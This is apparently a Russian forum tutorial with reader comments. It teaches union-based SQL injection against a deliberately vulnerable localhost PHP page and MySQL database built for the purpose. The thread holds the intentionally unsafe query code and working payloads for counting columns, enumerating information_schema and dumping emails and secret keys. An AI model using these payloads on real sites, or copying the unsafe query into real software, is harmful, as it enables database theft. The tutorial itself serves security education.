• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

  • Напоминаем, что 1 декабря стартует курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, активный фаззинг, уязвимости, пост-эксплуатация, инструментальные средства, Social Engeneering и многое другое. Подробнее ...

Статья SQL-injection, начало - UNION BASED

explorer

explorer

Red Team
05.08.2018
650
1 413
Приветствую тебя читатель!

Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql. Именно поэтому, я сначала написал эти статьи Часть 1 Часть 2 Часть 3

Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.

Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.

Приступим.

Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.

Создадим базу данных
create database golden_key;

SQL-injection, начало - UNION BASED


Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии flush privileges;

SQL-injection, начало - UNION BASED


Выходим из-под root набрав exit, и логинимся под пользователем buratino mysql -u buratino -p
Меняем текущую базу use golden_key;

Создаём 2 таблицы с колонками

CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);

CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);


SQL-injection, начало - UNION BASED


Проверяем desc login; и desc passwd;

SQL-injection, начало - UNION BASED


Заполняем поля

INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");

INSERT INTO passwd (email,password,secret_key)
VALUES
("wood@mail.ru","papa_Karlo","dast_ist_super-puper_secret_key"),
("devaxa@yandex.ru","solnyshko","d5t6z9h35d6r5c6l"),
("bablo@yahoo.com","bigboss","5y6q3n5f9j3z2gj6"),
("best@gmail.com","blue_sky","g2x5f2s6f7c5f1s6");


SQL-injection, начало - UNION BASED


Делаем дамп базы, убедимся, что всё прошло как надо SELECT * FROM login,passwd WHERE login.id = passwd.id;

SQL-injection, начало - UNION BASED


Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>

Создайте каталог images и закиньте туда . Обязательно выставите права на Чтение и запись для для "Остальные".

SQL-injection, начало - UNION BASED


Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это

SQL-injection, начало - UNION BASED


Отлично! Теперь я расскажу вам сказочку )

Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.

Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.

- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик! localhost/index.php
Хорошо, гляну на досуге, пока!

Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.

Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!

Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...


Ну что же, первым делом нужно проверить на самую простую уязвимость UNION BASED, просто подставив в параметр одиночную кавычку.
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!

SQL-injection, начало - UNION BASED


Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:

1' union select 1 -- - пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.

SQL-injection, начало - UNION BASED


1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- -
ошибки нет, значит колонок 4

Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.

1' group by 10 -- - ошибка, пишет, что колонки 10 не существует

SQL-injection, начало - UNION BASED


1' group by 5 -- - делим пополам, тоже мимо
1' group by 3 -- - ошибки нет
1' group by 4 -- - тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.

SQL-injection, начало - UNION BASED


Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -

Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00


Также, в зависимости от кода, могут прокатывать и такие варианты:
#
/**/


Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999

Отправляем 99999' union select 1,2,3,4 -- - Отлично! Мы видим, что уязвимая колонка 3.

SQL-injection, начало - UNION BASED


Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.

SQL-injection, начало - UNION BASED


Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key

SQL-injection, начало - UNION BASED


А теперь посмотрим как на самом деле выглядит наш запрос:
SELECT * FROM login WHERE id='1' такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -' то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'"; и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.

Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
-1' union select version(),2222,database(),4444 -- -

SQL-injection, начало - UNION BASED



Теперь узнаем названия таблиц.
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.

SQL-injection, начало - UNION BASED


INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.

SQL-injection, начало - UNION BASED


Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.

Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement

SQL-injection, начало - UNION BASED


Таким же образом поступаем с таблицей passwd
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key


Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться -1' union select nickname,2,statement,4 from login -- -

SQL-injection, начало - UNION BASED


Ничего себе! Миллион монет на счету, удача идёт прямо в руки!


Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
-1' union select nickname,2,statement,4 from login limit 1,1 -- -

Заберём секретный ключ у чурбачка в колпаке!
-1' union select email,2,secret_key,4 from passwd -- -

SQL-injection, начало - UNION BASED


Бинго!

Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один , где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.

SQL-injection, начало - UNION BASED


Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")


Удачи!
 
B

BitNinja

замечательный пример.
но вопрос - а чем заменить limit, если данных очень много? или данные тяжелые.
?
 
explorer

explorer

Red Team
05.08.2018
650
1 413
замечательный пример.
но вопрос - а чем заменить limit, если данных очень много? или данные тяжелые.
?
Есть быстрые техники, они гораздо сложнее для понимания. Об этом тоже напишу, но позже, в другой статье. Нужно идти от простого к сложному.
 
explorer

explorer

Red Team
05.08.2018
650
1 413
А теперь домашнее задание. Заходим на один , где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.
Если у кого-то возникнут затруднения по заданиям, спрашивайте, ибо это БАЗА, всё остальное куда сложнее.
 
K

kluster

Премиум
02.01.2019
27
50
супер статья , домашнее задание порадавало)
 
  • Нравится
Реакции: explorer
K

kluster

Премиум
02.01.2019
27
50
Если у кого-то возникнут затруднения по заданиям, спрашивайте, ибо это БАЗА, всё остальное куда сложнее.
первые два решил, а вот 3, 4.
мы сначала ломаем запрос через '
а потом его как бы восстанавливаем через комментирование, чтобы потом внедрить произвольный SQL запрос.
вот в 3 и 4 задании не смог запрос "починить"
 
Napalm

Napalm

Member
01.07.2019
5
2
мы сначала ломаем запрос через '
что бы "сломать" запрос нужно правильно угадать экранирующие символы.
например если запрос обрамлен скобками например: $id=$_GET[(id)];
то запрос вида 1' order by 10 -- - нечего не даст так как открывающая скобка не закрыта пример: select * from table_name where id=(1` order by 10 -- -)
база данных примет запрос данные 1` order by 10 -- - и попробует их обработать.
что бы взломать такую МОГУЩЕСТВЕННУЮ систему защиты нам предстоит использовать скобку )
пример:
select * from table_name where id=(1) order by 10 -- -)
таким образом база данных примет единичку (1) и ещё выполнит команду order by 10
в конце статьи указаны возможные экранирующие символы

 
  • Нравится
Реакции: id2746 и explorer
explorer

explorer

Red Team
05.08.2018
650
1 413
первые два решил, а вот 3, 4
Napalm правильно написал. Но чтобы внести полную ясность объясню как можно проще - если не подошла одиночная кавычка, то просто тупо нужно попробовать другие варианты, которые есть в конце статьи.
Есть способ ещё проще - использовать вместо кавычки обратный слэш. И посмотреть на ошибку.

Отправляем запрос со слэшем:

SQL-injection, начало - UNION BASED


Смотрим на ошибку:

SQL-injection, начало - UNION BASED


Из ошибки явно видно, что обрамление цифры идёт в двойных кавычках. Отправляем запрос с двойной кавычкой:

SQL-injection, начало - UNION BASED


Смотрим на ошибку:

SQL-injection, начало - UNION BASED


Как мы видим ошибка появилась, значит запрос с двойной кавычкой правильный

P.S. Чтобы составить правильный запрос, нужно посмотреть на ошибку и отбросить парные символы. А то что останется и будет правильным в запросе

SQL-injection, начало - UNION BASED
 
Последнее редактирование:
  • Нравится
Реакции: id2746
Bimkosi

Bimkosi

К удалению 21.01.2019
08.02.2018
5
0
Классная статья, спасибо. Жду продолжения. =)
 
explorer

explorer

Red Team
05.08.2018
650
1 413
пример: select * from table_name where id=(1) order by 10 -- -)
Немного поправлю - для четвёртого таска уязвимый запрос будет выглядеть так:
select * from table_name where id=('1') order by 10 -- -')
Крайняя скобка после комментария будет отброшена, на сайте видимая часть такая 1') order by 10 -- -
 
The Codeby

The Codeby

ООО Кодебай
30.12.2015
3 229
4 550
первые два решил, а вот 3, 4.
мы сначала ломаем запрос через '
а потом его как бы восстанавливаем через комментирование, чтобы потом внедрить произвольный SQL запрос.
вот в 3 и 4 задании не смог запрос "починить"
Ход решения НЕ надо писать публично.
 
K

kluster

Премиум
02.01.2019
27
50
Ход решения НЕ надо писать публично.
но это же общий алгоритм любой SQL инъекции.
ломаем зпрос - чиним - внедряем
который и был описан в статье, в заданиях же уже разные методы реализации этого алогритма
поправьте меня, если ошибаюсь.
 
Последнее редактирование:
explorer

explorer

Red Team
05.08.2018
650
1 413
но это же общий алгоритм любой SQL инъекции.
который и был описан в статье, в заданиях же уже разные методы реализации этого алогритма
поправьте меня, если ошибаюсь.
Не переживайте, это общий подход. Админ видимо имел ввиду, чтобы далее полное решение не писали. Учиться ведь нужно самому, поэтому я не разбираю решение сразу на примере SQL Injection Ninja, а пишу свой код. Будут ещё статьи, решил сделать серию, там тоже будем создавать своё уязвимое приложение и на нём разбираться что к чему.
 
  • Нравится
Реакции: The Codeby
Shadow User

Shadow User

Member
10.07.2017
12
8
Статья вдохновила меня, перенести мой тестовый стенд на docker:
 
B

booms1

Member
18.08.2018
16
1
Не переживайте, это общий подход. Админ видимо имел ввиду, чтобы далее полное решение не писали. Учиться ведь нужно самому, поэтому я не разбираю решение сразу на примере SQL Injection Ninja, а пишу свой код. Будут ещё статьи, решил сделать серию, там тоже будем создавать своё уязвимое приложение и на нём разбираться что к чему.
Привет, в чём может быть проблема? при переходе на
Подключение не удалось: Access denied for user 'root'@'localhost'
 
B

booms1

Member
18.08.2018
16
1
Не переживайте, это общий подход. Админ видимо имел ввиду, чтобы далее полное решение не писали. Учиться ведь нужно самому, поэтому я не разбираю решение сразу на примере SQL Injection Ninja, а пишу свой код. Будут ещё статьи, решил сделать серию, там тоже будем создавать своё уязвимое приложение и на нём разбираться что к чему.
Не понимаю на каком этапе cntrl с +v дал сбой
 
explorer

explorer

Red Team
05.08.2018
650
1 413
Привет, в чём может быть проблема? при переходе на
Подключение не удалось: Access denied for user 'root'@'localhost'
Попробуй в index.рнр поменять в строке пользователя
$user = "buratino";
 
B

booms1

Member
18.08.2018
16
1
Попробуй в index.рнр поменять в строке пользователя
$user = "buratino";
Изменился ответ на Подключение не удалось: Access denied for user 'buratino '@'localhost' (using password: NO)
Сам сижу под root
Все остальные этапы на ура шли
 
explorer

explorer

Red Team
05.08.2018
650
1 413
Изменился ответ на Подключение не удалось: Access denied for user 'buratino '@'localhost' (using password: NO)
Сам сижу под root
Все остальные этапы на ура шли
Ну так пароль-то тоже нужно поменять, мы же пароль задавали )

P.S. Если не понял $password = "papa_Karlo";
 
  • Нравится
Реакции: booms1
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб